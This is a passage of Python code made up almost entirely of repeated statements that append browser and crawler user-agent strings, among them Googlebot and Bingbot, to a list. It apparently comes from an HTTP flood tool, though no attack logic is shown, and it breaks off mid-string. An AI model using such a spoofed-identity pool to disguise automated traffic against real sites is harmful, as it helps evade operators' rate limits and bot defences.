headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com') headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)') headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)') headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)') headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)') headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)') headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)') headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1') headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)') headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)') headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0') headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)') headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 